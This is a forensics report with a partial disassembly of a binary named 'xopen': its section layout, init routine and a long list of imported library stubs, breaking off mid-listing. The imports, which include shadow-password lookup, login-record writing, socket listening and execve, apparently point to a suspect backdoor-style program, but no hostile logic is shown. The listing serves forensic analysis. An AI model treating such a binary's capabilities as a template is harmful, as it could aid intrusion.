Forensics Report

for file 'xopen'

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Complete disassembly listing of analyzed binary

After identifying functions and symbols, FIFA determined this as the best disassembling information.

Leyend:
Red, denotes the address in hexadecimal form.
Blue, indicates the original bytes, again in hex form.
Black, the instruction in assembler code.
Magenta, denotes a symbol.
Green, denotes a comment (inserted automatically or by the user). In an effort to improve readability, every data used is showed in decimal form, hex and the data pointed to, if a valid address.

```
;
;
;   Disassembling of file 'xopen', section '.text'
;
;   Generated by FIFA
;
; This file contains these sections:
;
;         0x080480f4-0x08048107   .interp
;         0x08048108-0x08048128   .note.ABI-tag
;         0x08048128-0x080485b8   .hash
;         0x080485b8-0x08048fa8   .dynsym
;         0x08048fa8-0x08049534   .dynstr
;         0x08049534-0x08049672   .gnu.version
;         0x08049674-0x080496f4   .gnu.version_r
;         0x080496f4-0x080496fc   .rel.got
;         0x080496fc-0x0804973c   .rel.bss
;         0x0804973c-0x08049bc4   .rel.plt
;         0x08049bc4-0x08049bdc   .init
;         0x08049bdc-0x0804a4fc   .plt
;         0x0804a500-0x0806b5c0   .text
;         0x0806b5c0-0x0806b5de   .fini
;         0x0806b5e0-0x08076b62   .rodata
;         0x08077b80-0x080798e0   .data
;         0x080798e0-0x080798e4   .eh_frame
;         0x080798e4-0x080798ec   .ctors
;         0x080798ec-0x080798f4   .dtors
;         0x080798f4-0x08079b48   .got
;         0x08079b48-0x08079c00   .dynamic
;         0x08079c00-0x08079c00   .sbss
;         0x08079c00-0x08080130   .bss
;         0x00000000-0x00001692   .comment
;         0x00000000-0x0000085c   .note
;
;

08049bc4 <.init>:
08049bc4  55                     push   %ebp
08049bc5  89 e5                  mov    %esp,%ebp
08049bc7  83 ec 08               sub    $0x8,%esp
08049bca  e8 55 09 00 00         call   0804a524 <error+0x24>
08049bcf  90                     nop
08049bd0  e8 eb 09 00 00         call   0804a5c0 <Unknown0001+0x92>
08049bd5  e8 a6 19 02 00         call   0806b580 <Unknown0452>
08049bda  c9                     leave
08049bdb  c3                     ret

08049bdc <__gmon_start__>:
08049bdc  ff 35 f8 98 07 08      pushl  0x80798f8   ;[in .got] 0 'x0 x0 x0 x0' ""
08049be2  ff 25 fc 98 07 08      jmp    *0x80798fc  ;[in .got] 0 'x0 x0 x0 x0' ""
08049be8  00 00                  add    %al,(%eax)
 ...

08049bec <ptsname>:
08049bec  ff 25 00 99 07 08      jmp    *0x8079900  ;[in .got] 134519794 'xf2 x9b x4 x8' ""
08049bf2  68 00 00 00 00         push   $0x0  ;0 'x0 x0 x0 x0' ""
08049bf7  e9 e0 ff ff ff         jmp    08049bdc <__gmon_start__>  ;-32 'xe0 xff xff xff' ""

08049bfc <getspnam>:
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08049bfc   ff 25 04 99 07 08      jmp     *0x8079904  ;[in .got] 134519810 'x2 x9c x4 x8' ""
08049c02   68 08 00 00 00         push    $0x8  ;8 'x8 x0 x0 x0' ""
08049c07   e9 d0 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-48 'xd0 xff xff xff' ""

08049c0c <mkdir>:
08049c0c   ff 25 08 99 07 08      jmp     *0x8079908  ;[in .got] 134519826 'x12 x9c x4 x8' ""
08049c12   68 10 00 00 00         push    $0x10  ;16 'x10 x0 x0 x0' ""
08049c17   e9 c0 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-64 'xc0 xff xff xff' ""

08049c1c <getgrnam>:
08049c1c   ff 25 0c 99 07 08      jmp     *0x807990c  ;[in .got] 134519842 'x22 x9c x4 x8' """
08049c22   68 18 00 00 00         push    $0x18  ;24 'x18 x0 x0 x0' ""
08049c27   e9 b0 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-80 'xb0 xff xff xff' ""

08049c2c <getutxline>:
08049c2c   ff 25 10 99 07 08      jmp     *0x8079910  ;[in .got] 134519858 'x32 x9c x4 x8' "2'
08049c32   68 20 00 00 00         push    $0x20  ;32 'x20 x0 x0 x0' " "
08049c37   e9 a0 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-96 'xa0 xff xff xff' ""

08049c3c <chown>:
08049c3c   ff 25 14 99 07 08      jmp     *0x8079914  ;[in .got] 134519874 'x42 x9c x4 x8' "B"
08049c42   68 28 00 00 00         push    $0x28  ;40 'x28 x0 x0 x0' "("
08049c47   e9 90 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-112 'x90 xff xff xff' ""

08049c4c <ferror>:
08049c4c   ff 25 18 99 07 08      jmp     *0x8079918  ;[in .got] 134519890 'x52 x9c x4 x8' "R"
08049c52   68 30 00 00 00         push    $0x30  ;48 'x30 x0 x0 x0' "0"
08049c57   e9 80 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-128 'x80 xff xff xff' ""

08049c5c <strchr>:
08049c5c   ff 25 1c 99 07 08      jmp     *0x807991c  ;[in .got] 134519906 'x62 x9c x4 x8' "b"
08049c62   68 38 00 00 00         push    $0x38  ;56 'x38 x0 x0 x0' "8"
08049c67   e9 70 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-144 'x70 xff xff xff' "p"

08049c6c <logwtmp>:
08049c6c   ff 25 20 99 07 08      jmp     *0x8079920  ;[in .got] 134519922 'x72 x9c x4 x8' "r"
08049c72   68 40 00 00 00         push    $0x40  ;64 'x40 x0 x0 x0' "@"
08049c77   e9 60 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-160 'x60 xff xff xff' "`"

08049c7c <grantpt>:
08049c7c   ff 25 24 99 07 08      jmp     *0x8079924  ;[in .got] 134519938 'x82 x9c x4 x8' ""
08049c82   68 48 00 00 00         push    $0x48  ;72 'x48 x0 x0 x0' "H"
08049c87   e9 50 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-176 'x50 xff xff xff' "P"

08049c8c <getpid>:
08049c8c   ff 25 28 99 07 08      jmp     *0x8079928  ;[in .got] 134519954 'x92 x9c x4 x8' ""
08049c92   68 50 00 00 00         push    $0x50  ;80 'x50 x0 x0 x0' "P"
08049c97   e9 40 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-192 'x40 xff xff xff' "@"

08049c9c <__register_frame_info>:
08049c9c   ff 25 2c 99 07 08      jmp     *0x807992c  ;[in .got] 134519970 'xa2 x9c x4 x8' ""
08049ca2   68 58 00 00 00         push    $0x58  ;88 'x58 x0 x0 x0' "X"
08049ca7   e9 30 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-208 'x30 xff xff xff' "0"

08049cac <write>:
08049cac   ff 25 30 99 07 08      jmp     *0x8079930  ;[in .got] 134519986 'xb2 x9c x4 x8' ""
08049cb2   68 60 00 00 00         push    $0x60  ;96 'x60 x0 x0 x0' "`"
08049cb7   e9 20 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-224 'x20 xff xff xff' " "

08049cbc <fileno>:
08049cbc   ff 25 34 99 07 08      jmp     *0x8079934  ;[in .got] 134520002 'xc2 x9c x4 x8' ""
08049cc2   68 68 00 00 00         push    $0x68  ;104 'x68 x0 x0 x0' "h"
08049cc7   e9 10 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-240 'x10 xff xff xff' ""

08049ccc <strcmp>:
08049ccc   ff 25 38 99 07 08      jmp     *0x8079938  ;[in .got] 134520018 'xd2 x9c x4 x8' ""
08049cd2   68 70 00 00 00         push    $0x70  ;112 'x70 x0 x0 x0' "p"
08049cd7   e9 00 ff ff ff         jmp     08049bdc <__gmon_start__>  ;-256 'x0 xff xff xff' ""

08049cdc <close>:
08049cdc   ff 25 3c 99 07 08      jmp     *0x807993c  ;[in .got] 134520034 'xe2 x9c x4 x8' ""
08049ce2   68 78 00 00 00         push    $0x78  ;120 'x78 x0 x0 x0' "x"
08049ce7   e9 f0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-272 'xf0 xfe xff xff' ""

08049cec <perror>:
08049cec   ff 25 40 99 07 08      jmp     *0x8079940  ;[in .got] 134520050 'xf2 x9c x4 x8' ""
08049cf2   68 80 00 00 00         push    $0x80  ;128 'x80 x0 x0 x0' ""
08049cf7   e9 e0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-288 'xe0 xfe xff xff' ""

08049cfc <fprintf>:
08049cfc   ff 25 44 99 07 08      jmp     *0x8079944  ;[in .got] 134520066 'x2 x9d x4 x8' ""
08049d02   68 88 00 00 00         push    $0x88  ;136 'x88 x0 x0 x0' ""
08049d07   e9 d0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-304 'xd0 xfe xff xff' ""
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08049d0c <fork>:
08049d0c   ff 25 48 99 07 08      jmp     *0x8079948   ;[in .got] 134520082 'x12 x9d x4 x8' ""
08049d12   68 90 00 00 00         push    $0x90  ;144 'x90 x0 x0 x0' ""
08049d17   e9 c0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-320 'xc0 xfe xff xff' ""

08049d1c <getenv>:
08049d1c   ff 25 4c 99 07 08      jmp     *0x807994c   ;[in .got] 134520098 'x22 x9d x4 x8' """
08049d22   68 98 00 00 00         push    $0x98  ;152 'x98 x0 x0 x0' ""
08049d27   e9 b0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-336 'xb0 xfe xff xff' ""

08049d2c <umask>:
08049d2c   ff 25 50 99 07 08      jmp     *0x8079950   ;[in .got] 134520114 'x32 x9d x4 x8' "2"
08049d32   68 a0 00 00 00         push    $0xa0  ;160 'xa0 x0 x0 x0' ""
08049d37   e9 a0 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-352 'xa0 xfe xff xff' ""

08049d3c <signal>:
08049d3c   ff 25 54 99 07 08      jmp     *0x8079954   ;[in .got] 134520130 'x42 x9d x4 x8' "B"
08049d42   68 a8 00 00 00         push    $0xa8  ;168 'xa8 x0 x0 x0' ""
08049d47   e9 90 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-368 'x90 xfe xff xff' ""

08049d4c <pclose>:
08049d4c   ff 25 58 99 07 08      jmp     *0x8079958   ;[in .got] 134520146 'x52 x9d x4 x8' "R"
08049d52   68 b0 00 00 00         push    $0xb0  ;176 'xb0 x0 x0 x0' ""
08049d57   e9 80 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-384 'x80 xfe xff xff' ""

08049d5c <getservbyname>:
08049d5c   ff 25 5c 99 07 08      jmp     *0x807995c   ;[in .got] 134520162 'x62 x9d x4 x8' "b"
08049d62   68 b8 00 00 00         push    $0xb8  ;184 'xb8 x0 x0 x0' ""
08049d67   e9 70 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-400 'x70 xfe xff xff' "`"

08049d6c <unlink>:
08049d6c   ff 25 60 99 07 08      jmp     *0x8079960   ;[in .got] 134520178 'x72 x9d x4 x8' "r"
08049d72   68 c0 00 00 00         push    $0xc0  ;192 'xc0 x0 x0 x0' ""
08049d77   e9 60 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-416 'x60 xfe xff xff' "`"

08049d7c <clock>:
08049d7c   ff 25 64 99 07 08      jmp     *0x8079964   ;[in .got] 134520194 'x82 x9d x4 x8' ""
08049d82   68 c8 00 00 00         push    $0xc8  ;200 'xc8 x0 x0 x0' ""
08049d87   e9 50 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-432 'x50 xfe xff xff' "P"

08049d8c <getrusage>:
08049d8c   ff 25 68 99 07 08      jmp     *0x8079968   ;[in .got] 134520210 'x92 x9d x4 x8' ""
08049d92   68 d0 00 00 00         push    $0xd0  ;208 'xd0 x0 x0 x0' ""
08049d97   e9 40 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-448 'x40 xfe xff xff' "@"

08049d9c <cfsetospeed>:
08049d9c   ff 25 6c 99 07 08      jmp     *0x807996c   ;[in .got] 134520226 'xa2 x9d x4 x8' ""
08049da2   68 d8 00 00 00         push    $0xd8  ;216 'xd8 x0 x0 x0' ""
08049da7   e9 30 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-464 'x30 xfe xff xff' "0"

08049dac <cfgetispeed>:
08049dac   ff 25 70 99 07 08      jmp     *0x8079970   ;[in .got] 134520242 'xb2 x9d x4 x8' ""
08049db2   68 e0 00 00 00         push    $0xe0  ;224 'xe0 x0 x0 x0' ""
08049db7   e9 20 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-480 'x20 xfe xff xff' " "

08049dbc <select>:
08049dbc   ff 25 74 99 07 08      jmp     *0x8079974   ;[in .got] 134520258 'xc2 x9d x4 x8' ""
08049dc2   68 e8 00 00 00         push    $0xe8  ;232 'xe8 x0 x0 x0' ""
08049dc7   e9 10 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-496 'x10 xfe xff xff' ""

08049dcc <__assert_fail>:
08049dcc   ff 25 78 99 07 08      jmp     *0x8079978   ;[in .got] 134520274 'xd2 x9d x4 x8' ""
08049dd2   68 f0 00 00 00         push    $0xf0  ;240 'xf0 x0 x0 x0' ""
08049dd7   e9 00 fe ff ff         jmp     08049bdc <__gmon_start__>  ;-512 'x0 xfe xff xff' ""

08049ddc <vsnprintf>:
08049ddc   ff 25 7c 99 07 08      jmp     *0x807997c   ;[in .got] 134520290 'xe2 x9d x4 x8' ""
08049de2   68 f8 00 00 00         push    $0xf8  ;248 'xf8 x0 x0 x0' ""
08049de7   e9 f0 fd ff ff         jmp     08049bdc <__gmon_start__>  ;-528 'xf0 xfd xff xff' ""

08049dec <strerror>:
08049dec   ff 25 80 99 07 08      jmp     *0x8079980   ;[in .got] 134520306 'xf2 x9d x4 x8' ""
08049df2   68 00 01 00 00         push    $0x100  ;256 'x0 x1 x0 x0' ""
08049df7   e9 e0 fd ff ff         jmp     08049bdc <__gmon_start__>  ;-544 'xe0 xfd xff xff' ""

08049dfc <tcsetattr>:
08049dfc   ff 25 84 99 07 08      jmp     *0x8079984   ;[in .got] 134520322 'x2 x9e x4 x8' ""
08049e02   68 08 01 00 00         push    $0x108  ;264 'x8 x1 x0 x0' ""
08049e07   e9 d0 fd ff ff         jmp     08049bdc <__gmon_start__>  ;-560 'xd0 xfd xff xff' ""

08049e0c <getpwuid>:
08049e0c   ff 25 88 99 07 08      jmp     *0x8079988   ;[in .got] 134520338 'x12 x9e x4 x8' ""
08049e12   68 10 01 00 00         push    $0x110  ;272 'x10 x1 x0 x0' ""
08049e17   e9 c0 fd ff ff         jmp     08049bdc <__gmon_start__>  ;-576 'xc0 xfd xff xff' ""
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08049e1c <execve>:
08049e1c   ff 25 8c 99 07 08      jmp    *0x807998c   ;[in .got] 134520354 'x22 x9e x4 x8' """
08049e22   68 18 01 00 00         push   $0x118   ;280 'x18 x1 x0 x0' ""
08049e27   e9 b0 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-592 'xb0 xfd xff xff' ""

08049e2c <initgroups>:
08049e2c   ff 25 90 99 07 08      jmp    *0x8079990   ;[in .got] 134520370 'x32 x9e x4 x8' "2"
08049e32   68 20 01 00 00         push   $0x120   ;288 'x20 x1 x0 x0' " "
08049e37   e9 a0 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-608 'xa0 xfd xff xff' ""

08049e3c <__errno_location>:
08049e3c   ff 25 94 99 07 08      jmp    *0x8079994   ;[in .got] 134520386 'x42 x9e x4 x8' "B"
08049e42   68 28 01 00 00         push   $0x128   ;296 'x28 x1 x0 x0' "("
08049e47   e9 90 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-624 'x90 xfd xff xff' ""

08049e4c <endhostent>:
08049e4c   ff 25 98 99 07 08      jmp    *0x8079998   ;[in .got] 134520402 'x52 x9e x4 x8' "R"
08049e52   68 30 01 00 00         push   $0x130   ;304 'x30 x1 x0 x0' "0"
08049e57   e9 80 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-640 'x80 xfd xff xff' ""

08049e5c <setgid>:
08049e5c   ff 25 9c 99 07 08      jmp    *0x807999c   ;[in .got] 134520418 'x62 x9e x4 x8' "b"
08049e62   68 38 01 00 00         push   $0x138   ;312 'x38 x1 x0 x0' "8"
08049e67   e9 70 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-656 'x70 xfd xff xff' "p"

08049e6c <getgrgid>:
08049e6c   ff 25 a0 99 07 08      jmp    *0x80799a0   ;[in .got] 134520434 'x72 x9e x4 x8' "r"
08049e72   68 40 01 00 00         push   $0x140   ;320 'x40 x1 x0 x0' "@"
08049e77   e9 60 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-672 'x60 xfd xff xff' "`"

08049e7c <accept>:
08049e7c   ff 25 a4 99 07 08      jmp    *0x80799a4   ;[in .got] 134520450 'x82 x9e x4 x8' ""
08049e82   68 48 01 00 00         push   $0x148   ;328 'x48 x1 x0 x0' "H"
08049e87   e9 50 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-688 'x50 xfd xff xff' "P"

08049e8c <gethostbyaddr>:
08049e8c   ff 25 a8 99 07 08      jmp    *0x80799a8   ;[in .got] 134520466 'x92 x9e x4 x8' ""
08049e92   68 50 01 00 00         push   $0x150   ;336 'x50 x1 x0 x0' "P"
08049e97   e9 40 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-704 'x40 xfd xff xff' "@"

08049e9c <chmod>:
08049e9c   ff 25 ac 99 07 08      jmp    *0x80799ac   ;[in .got] 134520482 'xa2 x9e x4 x8' ""
08049ea2   68 58 01 00 00         push   $0x158   ;344 'x58 x1 x0 x0' "X"
08049ea7   e9 30 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-720 'x30 xfd xff xff' "0"

08049eac <inet_ntoa>:
08049eac   ff 25 b0 99 07 08      jmp    *0x80799b0   ;[in .got] 134520498 'xb2 x9e x4 x8' ""
08049eb2   68 60 01 00 00         push   $0x160   ;352 'x60 x1 x0 x0' "`"
08049eb7   e9 20 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-736 'x20 xfd xff xff' " "

08049ebc <shutdown>:
08049ebc   ff 25 b4 99 07 08      jmp    *0x80799b4   ;[in .got] 134520514 'xc2 x9e x4 x8' ""
08049ec2   68 68 01 00 00         push   $0x168   ;360 'x68 x1 x0 x0' "h"
08049ec7   e9 10 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-752 'x10 xfd xff xff' ""

08049ecc <random>:
08049ecc   ff 25 b8 99 07 08      jmp    *0x80799b8   ;[in .got] 134520530 'xd2 x9e x4 x8' ""
08049ed2   68 70 01 00 00         push   $0x170   ;368 'x70 x1 x0 x0' "p"
08049ed7   e9 00 fd ff ff         jmp    08049bdc <__gmon_start__>  ;-768 'x0 xfd xff xff' ""

08049edc <popen>:
08049edc   ff 25 bc 99 07 08      jmp    *0x80799bc   ;[in .got] 134520546 'xe2 x9e x4 x8' ""
08049ee2   68 78 01 00 00         push   $0x178   ;376 'x78 x1 x0 x0' "x"
08049ee7   e9 f0 fc ff ff         jmp    08049bdc <__gmon_start__>  ;-784 'xf0 xfc xff xff' ""

08049eec <endutxent>:
08049eec   ff 25 c0 99 07 08      jmp    *0x80799c0   ;[in .got] 134520562 'xf2 x9e x4 x8' ""
08049ef2   68 80 01 00 00         push   $0x180   ;384 'x80 x1 x0 x0' ""
08049ef7   e9 e0 fc ff ff         jmp    08049bdc <__gmon_start__>  ;-800 'xe0 xfc xff xff' ""

08049efc <listen>:
08049efc   ff 25 c4 99 07 08      jmp    *0x80799c4   ;[in .got] 134520578 'x2 x9f x4 x8' ""
08049f02   68 88 01 00 00         push   $0x188   ;392 'x88 x1 x0 x0' ""
08049f07   e9 d0 fc ff ff         jmp    08049bdc <__gmon_start__>  ;-816 'xd0 xfc xff xff' ""

08049f0c <cfgetospeed>:
08049f0c   ff 25 c8 99 07 08      jmp    *0x80799c8   ;[in .got] 134520594 'x12 x9f x4 x8' ""
08049f12   68 90 01 00 00         push   $0x190   ;400 'x90 x1 x0 x0' ""
08049f17   e9 c0 fc ff ff         jmp    08049bdc <__gmon_start__>  ;-832 'xc0 xfc xff xff' ""

08049f1c <malloc>:
08049f1c   ff 25 cc 99 07 08      jmp    *0x80799cc   ;[in .got] 134520610 'x22 x9f x4 x8' """
08049f22   68 98 01 00 00         push   $0x198   ;408 'x98 x1 x0 x0' ""
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08049f27  e9 b0 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-848 'xb0 xfc xff xff' ""

08049f2c <setsid>:
08049f2c  ff 25 d0 99 07 08       jmp     *0x80799d0  ;[in .got] 134520626 'x32 x9f x4 x8' "2"
08049f32  68 a0 01 00 00          push    $0x1a0  ;416 'xa0 x1 x0 x0' ""
08049f37  e9 a0 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-864 'xa0 xfc xff xff' ""

08049f3c <vhangup>:
08049f3c  ff 25 d4 99 07 08       jmp     *0x80799d4  ;[in .got] 134520642 'x42 x9f x4 x8' "B"
08049f42  68 a8 01 00 00          push    $0x1a8  ;424 'xa8 x1 x0 x0' ""
08049f47  e9 90 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-880 'x90 xfc xff xff' ""

08049f4c <getppid>:
08049f4c  ff 25 d8 99 07 08       jmp     *0x80799d8  ;[in .got] 134520658 'x52 x9f x4 x8' "R"
08049f52  68 b0 01 00 00          push    $0x1b0  ;432 'xb0 x1 x0 x0' ""
08049f57  e9 80 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-896 'x80 xfc xff xff' ""

08049f5c <pipe>:
08049f5c  ff 25 dc 99 07 08       jmp     *0x80799dc  ;[in .got] 134520674 'x62 x9f x4 x8' "b"
08049f62  68 b8 01 00 00          push    $0x1b8  ;440 'xb8 x1 x0 x0' ""
08049f67  e9 70 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-912 'x70 xfc xff xff' "p"

08049f6c <memmove>:
08049f6c  ff 25 e0 99 07 08       jmp     *0x80799e0  ;[in .got] 134520690 'x72 x9f x4 x8' "r"
08049f72  68 c0 01 00 00          push    $0x1c0  ;448 'xc0 x1 x0 x0' ""
08049f77  e9 60 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-928 'x60 xfc xff xff' "`"

08049f7c <remove>:
08049f7c  ff 25 e4 99 07 08       jmp     *0x80799e4  ;[in .got] 134520706 'x82 x9f x4 x8' ""
08049f82  68 c8 01 00 00          push    $0x1c8  ;456 'xc8 x1 x0 x0' ""
08049f87  e9 50 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-944 'x50 xfc xff xff' "P"

08049f8c <__deregister_frame_info>:
08049f8c  ff 25 e8 99 07 08       jmp     *0x80799e8  ;[in .got] 134520722 'x92 x9f x4 x8' ""
08049f92  68 d0 01 00 00          push    $0x1d0  ;464 'xd0 x1 x0 x0' ""
08049f97  e9 40 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-960 'x40 xfc xff xff' "@"

08049f9c <endservent>:
08049f9c  ff 25 ec 99 07 08       jmp     *0x80799ec  ;[in .got] 134520738 'xa2 x9f x4 x8' ""
08049fa2  68 d8 01 00 00          push    $0x1d8  ;472 'xd8 x1 x0 x0' ""
08049fa7  e9 30 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-976 'x30 xfc xff xff' "0"

08049fac <link>:
08049fac  ff 25 f0 99 07 08       jmp     *0x80799f0  ;[in .got] 134520754 'xb2 x9f x4 x8' ""
08049fb2  68 e0 01 00 00          push    $0x1e0  ;480 'xe0 x1 x0 x0' ""
08049fb7  e9 20 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-992 'x20 xfc xff xff' " "

08049fbc <isastream>:
08049fbc  ff 25 f4 99 07 08       jmp     *0x80799f4  ;[in .got] 134520770 'xc2 x9f x4 x8' ""
08049fc2  68 e8 01 00 00          push    $0x1e8  ;488 'xe8 x1 x0 x0' ""
08049fc7  e9 10 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-1008 'x10 xfc xff xff' ""

08049fcc <syslog>:
08049fcc  ff 25 f8 99 07 08       jmp     *0x80799f8  ;[in .got] 134520786 'xd2 x9f x4 x8' ""
08049fd2  68 f0 01 00 00          push    $0x1f0  ;496 'xf0 x1 x0 x0' ""
08049fd7  e9 00 fc ff ff          jmp     08049bdc <__gmon_start__>  ;-1024 'x0 xfc xff xff' ""

08049fdc <daemon>:
08049fdc  ff 25 fc 99 07 08       jmp     *0x80799fc  ;[in .got] 134520802 'xe2 x9f x4 x8' ""
08049fe2  68 f8 01 00 00          push    $0x1f8  ;504 'xf8 x1 x0 x0' ""
08049fe7  e9 f0 fb ff ff          jmp     08049bdc <__gmon_start__>  ;-1040 'xf0 xfb xff xff' ""

08049fec <pututxline>:
08049fec  ff 25 00 9a 07 08       jmp     *0x8079a00  ;[in .got] 134520818 'xf2 x9f x4 x8' ""
08049ff2  68 00 02 00 00          push    $0x200  ;512 'x0 x2 x0 x0' ""
08049ff7  e9 e0 fb ff ff          jmp     08049bdc <__gmon_start__>  ;-1056 'xe0 xfb xff xff' ""

08049ffc <getsockopt>:
08049ffc  ff 25 04 9a 07 08       jmp     *0x8079a04  ;[in .got] 134520834 'x2 xa0 x4 x8' ""
0804a002  68 08 02 00 00          push    $0x208  ;520 'x8 x2 x0 x0' ""
0804a007  e9 d0 fb ff ff          jmp     08049bdc <__gmon_start__>  ;-1072 'xd0 xfb xff xff' ""

0804a00c <abort>:
0804a00c  ff 25 08 9a 07 08       jmp     *0x8079a08  ;[in .got] 134520850 'x12 xa0 x4 x8' ""
0804a012  68 10 02 00 00          push    $0x210  ;528 'x10 x2 x0 x0' ""
0804a017  e9 c0 fb ff ff          jmp     08049bdc <__gmon_start__>  ;-1088 'xc0 xfb xff xff' ""

0804a01c <logout>:
0804a01c  ff 25 0c 9a 07 08       jmp     *0x8079a0c  ;[in .got] 134520866 'x22 xa0 x4 x8' """
0804a022  68 18 02 00 00          push    $0x218  ;536 'x18 x2 x0 x0' ""
0804a027  e9 b0 fb ff ff          jmp     08049bdc <__gmon_start__>  ;-1104 'xb0 xfb xff xff' ""

0804a02c <__xstat>:
0804a02c  ff 25 10 9a 07 08       jmp     *0x8079a10  ;[in .got] 134520882 'x32 xa0 x4 x8' "2"
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0804a032  68 20 02 00 00        push   $0x220  ;544 'x20 x2 x0 x0' " "
0804a037  e9 a0 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1120 'xa0 xfb xff xff' ""

0804a03c <updwtmpx>:
0804a03c  ff 25 14 9a 07 08     jmp    *0x8079a14  ;[in .got] 134520898 'x42 xa0 x4 x8' "B"
0804a042  68 28 02 00 00        push   $0x228  ;552 'x28 x2 x0 x0' "("
0804a047  e9 90 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1136 'x90 xfb xff xff' ""

0804a04c <setsockopt>:
0804a04c  ff 25 18 9a 07 08     jmp    *0x8079a18  ;[in .got] 134520914 'x52 xa0 x4 x8' "R"
0804a052  68 30 02 00 00        push   $0x230  ;560 'x30 x2 x0 x0' "0"
0804a057  e9 80 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1152 'x80 xfb xff xff' ""

0804a05c <getpeername>:
0804a05c  ff 25 1c 9a 07 08     jmp    *0x8079a1c  ;[in .got] 134520930 'x62 xa0 x4 x8' "b"
0804a062  68 38 02 00 00        push   $0x238  ;568 'x38 x2 x0 x0' "8"
0804a067  e9 70 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1168 'x70 xfb xff xff' "p"

0804a06c <getprotobyname>:
0804a06c  ff 25 20 9a 07 08     jmp    *0x8079a20  ;[in .got] 134520946 'x72 xa0 x4 x8' "r"
0804a072  68 40 02 00 00        push   $0x240  ;576 'x40 x2 x0 x0' "@"
0804a077  e9 60 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1184 'x60 xfb xff xff' "`"

0804a07c <waitpid>:
0804a07c  ff 25 24 9a 07 08     jmp    *0x8079a24  ;[in .got] 134520962 'x82 xa0 x4 x8' ""
0804a082  68 48 02 00 00        push   $0x248  ;584 'x48 x2 x0 x0' "H"
0804a087  e9 50 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1200 'x50 xfb xff xff' "P"

0804a08c <time>:
0804a08c  ff 25 28 9a 07 08     jmp    *0x8079a28  ;[in .got] 134520978 'x92 xa0 x4 x8' ""
0804a092  68 50 02 00 00        push   $0x250  ;592 'x50 x2 x0 x0' "P"
0804a097  e9 40 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1216 'x40 xfb xff xff' "@"

0804a09c <getopt>:
0804a09c  ff 25 2c 9a 07 08     jmp    *0x8079a2c  ;[in .got] 134520994 'xa2 xa0 x4 x8' ""
0804a0a2  68 58 02 00 00        push   $0x258  ;600 'x58 x2 x0 x0' "X"
0804a0a7  e9 30 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1232 'x30 xfb xff xff' "0"

0804a0ac <fgets>:
0804a0ac  ff 25 30 9a 07 08     jmp    *0x8079a30  ;[in .got] 134521010 'xb2 xa0 x4 x8' ""
0804a0b2  68 60 02 00 00        push   $0x260  ;608 'x60 x2 x0 x0' "`"
0804a0b7  e9 20 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1248 'x20 xfb xff xff' " "

0804a0bc <chdir>:
0804a0bc  ff 25 34 9a 07 08     jmp    *0x8079a34  ;[in .got] 134521026 'xc2 xa0 x4 x8' ""
0804a0c2  68 68 02 00 00        push   $0x268  ;616 'x68 x2 x0 x0' "h"
0804a0c7  e9 10 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1264 'x10 xfb xff xff' ""

0804a0cc <fputs>:
0804a0cc  ff 25 38 9a 07 08     jmp    *0x8079a38  ;[in .got] 134521042 'xd2 xa0 x4 x8' ""
0804a0d2  68 70 02 00 00        push   $0x270  ;624 'x70 x2 x0 x0' "p"
0804a0d7  e9 00 fb ff ff        jmp    08049bdc <__gmon_start__>  ;-1280 'x0 xfb xff xff' ""

0804a0dc <sleep>:
0804a0dc  ff 25 3c 9a 07 08     jmp    *0x8079a3c  ;[in .got] 134521058 'xe2 xa0 x4 x8' ""
